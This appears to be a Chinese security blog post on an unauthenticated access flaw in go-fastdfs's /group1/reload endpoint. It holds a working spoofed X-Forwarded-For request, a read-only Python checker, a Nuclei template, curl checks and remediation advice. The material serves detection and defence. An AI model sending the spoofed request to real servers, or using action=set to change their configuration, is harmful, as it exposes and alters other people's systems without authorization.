Go-fastdfs /reload 未授权访问: 有效PoC

一、漏洞定性

Go-fastdfs 的 /group1/reload 接口依赖 GetClientIp() 校验来源 IP,而该方法信任 X-Forwarded-For 头 。攻击者只需伪造 XFF: 127.0.0.1,即可绕过 admin_ips 白名单,读取甚至修改服务端配置。

项 值
漏洞类型 信任边界缺陷 / 认证绕过(CWE-290)
影响产品 sjqzhang/go-fastdfs(文件服务器本体)
影响版本 未见官方版本范围公告,默认配置普遍受影响
CVE 编号 无。多个知识库归类为"GetClientIp 未授权访问漏洞",未分配 CVE
修复版本 无官方补丁。修复依赖部署层控制
利用前置 能访问 HTTP 端口,无需任何凭证
公开 PoC 已有 ,就是你贴出的 XFF: 127.0.0.1 + action=get

必须先澄清一个混淆点 :搜索结果中出现的 CVE-2026-6105、CVE-2026-11437 等编号,针对的是 perfree/go-fastdfs-web (一个独立的 Web 管理面板),不是你目标中的 sjqzhang/go-fastdfs(文件服务器本体)。两者不是同一个项目,漏洞编号和修复路径完全不同。如果你按 CVE 去搜补丁,大概率找错地方。

二、PoC 为什么有效

/reload 的设计意图是只允许集群节点或 admin_ips 列表内的 IP 调用。Reload 函数首先调用 c.IsPeer(r) 做来源校验,而 IsPeer 依赖的 GetClientIp() 从 X-Forwarded-For、X-Real-IP 等 HTTP 头中提取客户端 IP,而不是仅使用 TCP 连接的源地址。

admin_ips 在 cfg.json 中默认值为 127.0.0.1。于是:

复制代码
GET /group1/reload?action=get HTTP/1.1
Host: target
X-Forwarded-For: 127.0.0.1

GetClientIp() 读到 127.0.0.1,IsPeer 判定为管理员来源,请求通过。action=get 返回完整配置,可能包含存储路径、集群节点、认证 token。action=set 配合 cfg 参数可修改配置,action=reload 使其生效。

核心问题是服务端把 HTTP 头的可信度等同于网络层来源地址。任何能发 HTTP 请求的人都能伪造这个头。

三、Python 检测脚本(安全只读版)

以下脚本只验证绕过是否成立,不修改配置、不触发 reload ,仅以 action=get 读取配置并判断是否成功。

python 复制代码
#!/usr/bin/env python3
"""
Go-fastdfs /reload XFF 绕过检测(安全,只读)
用法: python gofastdfs_reload_check.py http://target:8080
仅发送 action=get,不修改任何配置。
"""
import sys
import requests
import urllib3
urllib3.disable_warnings()

def check(base):
    base = base.rstrip("/")
    url = f"{base}/group1/reload?action=get"

    # 基线:不带 XFF,预期被拒绝
    try:
        r_norm = requests.get(url, timeout=10, verify=False)
    except requests.RequestException as e:
        print(f"[-] 请求失败: {e}")
        return

    print(f"[*] 基线请求(无 XFF)状态: {r_norm.status_code}")
    print(f"[*] 基线响应片段: {r_norm.text[:150]}")

    # 绕过:带 XFF 127.0.0.1
    headers = {"X-Forwarded-For": "127.0.0.1"}
    try:
        r_xff = requests.get(url, headers=headers, timeout=10, verify=False)
    except requests.RequestException as e:
        print(f"[-] XFF 请求失败: {e}")
        return

    print(f"\n[*] XFF 请求状态: {r_xff.status_code}")
    print(f"[*] XFF 响应片段: {r_xff.text[:300]}")

    baseline_denied = "Can only be called by" in r_norm.text or "not allowed" in r_norm.text.lower()
    xff_success = '"status":"ok"' in r_xff.text or '"data"' in r_xff.text

    if baseline_denied and xff_success:
        print("\n[!] 漏洞存在:X-Forwarded-For 可绕过 admin_ips 限制")
        print("[!] 配置信息已泄露(上方响应片段),攻击者可进一步用 action=set 修改配置")
        return True
    elif xff_success and not baseline_denied:
        print("\n[*] 基线请求也成功,目标可能未设置 admin_ips 限制或已配置宽松")
        return False
    else:
        print("\n[+] 未检测到绕过,XFF 头可能未被信任或目标已修复")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"用法: {sys.argv[0]} http://target:8080")
        sys.exit(1)
    result = check(sys.argv[1])
    sys.exit(0 if result else 1)

运行示例:

bash 复制代码
python gofastdfs_reload_check.py http://192.168.1.100:8080

脚本会先发一个不带 XFF 的基线请求,确认被拒绝;再发带 XFF 的请求,确认返回配置。两者同时成立才判定漏洞存在,避免把本来就无限制的目标误报为漏洞。

四、Nuclei 模板(安全只读版)

保存为 go-fastdfs-reload-xff-detect.yaml。仅发送 action=get 请求,不触发配置修改或 reload。

bash 复制代码
id: go-fastdfs-reload-xff-detect

info:
  name: Go-fastdfs /reload X-Forwarded-For Auth Bypass (Read-Only)
  author: security-research
  severity: high
  description: |
    Go-fastdfs /group1/reload 接口依赖 GetClientIp() 校验来源,
    而该方法信任 X-Forwarded-For 头。设置 XFF: 127.0.0.1 可绕过
    admin_ips 限制读取配置。本模板仅发送 action=get,不修改配置。
  reference:
    - https://peiqi.wgpsec.org/wiki/webapp/Go-fastdfs/Go-fastdfs%20GetClientIp%20未授权访问漏洞.html
  classification:
    cwe-id: CWE-290
  tags: go-fastdfs,reload,xff,auth-bypass

http:
  - raw:
      # 基线:无 XFF,预期被拒绝
      - |
        GET /group1/reload?action=get HTTP/1.1
        Host: {{Hostname}}

      # 绕过:带 XFF 127.0.0.1,预期返回配置
      - |
        GET /group1/reload?action=get HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'Can only be called by')"
          - "contains(body_2, '\"status\":\"ok\"')"
        condition: and

    extractors:
      - type: regex
        name: config_leak
        part: body_2
        regex:
          - '"data":\s*(\{.*?\})'
        group: 1
复制代码

运行方式:

bash 复制代码
nuclei -t go-fastdfs-reload-xff-detect.yaml -u http://target:8080
复制代码

模板要求基线被拒绝、XFF 请求成功 同时成立才匹配,避免误报。extractors 仅提取配置内容供人工复核,不自动利用。

五、修复建议(没有官方补丁)

5.1 网络层限制(最直接)

如果 /reload 不需要对外提供服务,在反向代理或防火墙层阻断:

bash 复制代码
location = /group1/reload {
    allow 127.0.0.1;
    allow <集群内网段>;
    deny all;
}

或在 iptables 中限制源 IP。这比修补代码更可靠,因为漏洞的根源是应用层信任了 HTTP 头,而网络层控制不依赖应用逻辑。

5.2 收紧 admin_ips

编辑 cfg.json,将 admin_ips 设置为不可伪造的值 。默认的 127.0.0.1 是最危险的,因为 XFF 伪造成本为零。改为集群节点的真实内网 IP,并配合网络隔离,确保这些 IP 不会被外部冒充。

5.3 具备代码修改能力时

GetClientIp() 应改为优先使用 r.RemoteAddr(TCP 连接的真实源地址),仅在请求来自可信代理时才读取 X-Forwarded-For。但这需要对项目代码有控制权,并自行编译部署。

5.4 暴露面收敛

Go-fastdfs 作为文件存储服务,不应直接暴露于公网。如果业务允许,将其置于内网或 VPN 之后,是最彻底的缓解。

六、自查清单

bash 复制代码
# 1) 确认目标是 go-fastdfs 而非 go-fastdfs-web
curl -s http://target:8080/ | head -20
# go-fastdfs 首页通常有简单提示,go-fastdfs-web 是管理面板登录页

# 2) 无 XFF 访问 reload,预期被拒绝
curl -s "http://target:8080/group1/reload?action=get"

# 3) 带 XFF 访问,若返回配置则存在绕过
curl -s -H "X-Forwarded-For: 127.0.0.1" "http://target:8080/group1/reload?action=get"

若第 3 步返回 {"status":"ok","data":{...}},说明目标存在此问题。不要执行 action=set 或 action=reload,除非在隔离测试环境中并已获得明确授权。


总结 :PoC 有效, Go-fastdfs 设计上的信任边界缺陷。没有厂商补丁可等,修复只能靠部署层控制------网络限制、收紧 admin_ips、不暴露公网。如果你在做资产排查,先确认目标是 sjqzhang/go-fastdfs 还是 perfree/go-fastdfs-web,两者的漏洞编号和修复路径完全不同。

相关推荐
DevOpenClub44 分钟前
高考教育信息问答 API:会话参数、资料引用与流式响应
java·数据库·高考
yuanyuan3341 小时前
2026枣庄带检测报告伸缩门品牌测评|本地服务
大数据·数据库·人工智能·伸缩门
wdyan2971 小时前
带着小白学习-微服务-5 实战:配置中心-数据库连接
数据库·学习·微服务
大维2 小时前
DBX 实测:从 SQLite 查询到 MiniMax-M3 自然语言生成 SQL
数据库·sql·sqlite
玖米GEO运营王总监3 小时前
2026年账号矩阵协同效应怎么量化:三个指标与公式结构
java·大数据·数据库
景煜拾年4 小时前
InnoAI SQL 助手
运维·数据库·笔记·sql
.痞老板.5 小时前
mysql初阶--数据类型
android·数据库·mysql
Risehuxyc5 小时前
MySQL密码插件
数据库·mysql
腾科IT教育6 小时前
Oracle考试全解析:OCP、OCM认证体系与核心考点备考指南
数据库·oracle·开闭原则